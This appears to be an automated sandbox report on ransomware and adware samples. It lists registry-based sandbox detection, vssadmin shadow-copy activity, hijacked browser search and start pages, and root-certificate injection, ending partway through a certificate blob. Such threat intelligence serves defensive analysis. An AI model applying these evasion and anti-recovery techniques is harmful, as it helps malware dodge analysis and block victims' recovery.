SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	UDS-Trojan-Ransom.Win32.GandCrypt.a-d804e2eb27a5de0f73cbd490ac49a7998cde6c0fca34c011a2cc8a4bbe242f1e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	UDS-Trojan-Ransom.Win32.GandCrypt.a-d804e2eb27a5de0f73cbd490ac49a7998cde6c0fca34c011a2cc8a4bbe242f1e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	UDS-Trojan-Ransom.Win32.GandCrypt.a-d804e2eb27a5de0f73cbd490ac49a7998cde6c0fca34c011a2cc8a4bbe242f1e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct	HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe

Interacts with shadow copies 3 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1952	vssadmin.exe
8524	vssadmin.exe
10148	vssadmin.exe
4260	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 56 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\SuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IESS02&market={language}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\YaCreationDate = "2024-54-05"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\NTTopResultURL	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\SuggestionsURL_JSON = "https://suggest.yandex.ru/suggest-ff.cgi?uil=ru&part={searchTerms}"	seederexe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\LinksBandEnabled = "1"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\SuggestionsURL	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\URL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IESR02"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\DisplayName = "Яндекс"	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\NTLogoURL = "http://go.microsoft.com/fwlink/?LinkID=403856&language={language}&scale={scalelevel}&contrast={contrast}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\SuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IESS02&market={language}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\NTURL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IENTSR"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\DisplayName = "Bing"	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTURL = "https://yandex.ru/search/?win=671&clid=2278734-666&text={searchTerms}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\DisplayName = "Яндекс"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconURLFallback = "https://www.ya.ru/favicon.ico"	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Internet Explorer\MINIE	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTLogoURL = "http://downloader.yandex.net/banner/ntpagelogo/{language}/{scalelevel}.png"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\DisplayName = "Bing"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\SuggestionsURL_JSON = "https://suggest.yandex.ru/suggest-ff.cgi?uil=ru&part={searchTerms}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\FaviconURLFallback = "http://www.bing.com/favicon.ico"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\NTURL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IENTSR"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\URL = "https://yandex.ru/search/?win=671&clid=2278732-666&text={searchTerms}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\FaviconURL = "http://www.bing.com/favicon.ico"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\FaviconPath = "C:\\Users\\Admin\\AppData\\Local\\MICROS~1\\INTERN~1\\Services\\YANDEX~1.ICO"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\FaviconPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\SuggestionsURLFallback = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IESS02&market={language}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\NTTopResultURL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IENTTR"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\NTSuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&market={language}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IENTSS"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\NTLogoPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\"	seederexe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\ShowSearchSuggestionsInAddressGlobal = "1"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\URL = "https://yandex.ru/search/?win=671&clid=2278732-666&text={searchTerms}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\YaCreationDate = "2024-54-05"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTTopResultURL	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\FaviconURLFallback = "http://www.bing.com/favicon.ico"	seederexe.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\NTURL = "https://yandex.ru/search/?win=671&clid=2278734-666&text={searchTerms}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\NTSuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&market={language}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IENTSS"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\NTLogoURL = "http://go.microsoft.com/fwlink/?LinkID=403856&language={language}&scale={scalelevel}&contrast={contrast}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\NTLogoPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\FaviconPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\DefaultScope = "{0633EE93-D776-472f-A0FF-E1416B8B2E3A}"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\NTTopResultURL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IENTTR"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconPath = "C:\\Users\\Admin\\AppData\\Local\\MICROS~1\\INTERN~1\\Services\\YANDEX~1.ICO"	seederexe.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer\FaviconURL = "http://www.bing.com/favicon.ico"	seederexe.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\FaviconURLFallback = "https://www.ya.ru/favicon.ico"	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\NTLogoURL = "http://downloader.yandex.net/banner/ntpagelogo/{language}/{scalelevel}.png"	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\buffer	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\URL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IESR02"	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Internet Explorer\SearchScopes	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Internet Explorer\Main	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\SuggestionsURL	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\883092f8-9bc0-11ef-b5a4-e26222baf6a3\SuggestionsURLFallback = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IESS02&market={language}"	seederexe.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "https://www.ya.ru/?win=671&clid=2278731-666"	seederexe.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	adjustidebug.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	adjustidebug.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	adjustidebug.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe	seederexe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\HomeButtonPage = "https://www.ya.ru/?win=671&clid=2278731-666"	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	seederexe.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	seederexe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\HomeButtonEnabled = "1"	seederexe.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	HEUR-Trojan-Ransom.Win32.Agent.gen-e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	HEUR-Trojan-Ransom.Win32.Agent.gen-e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E	y_installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2d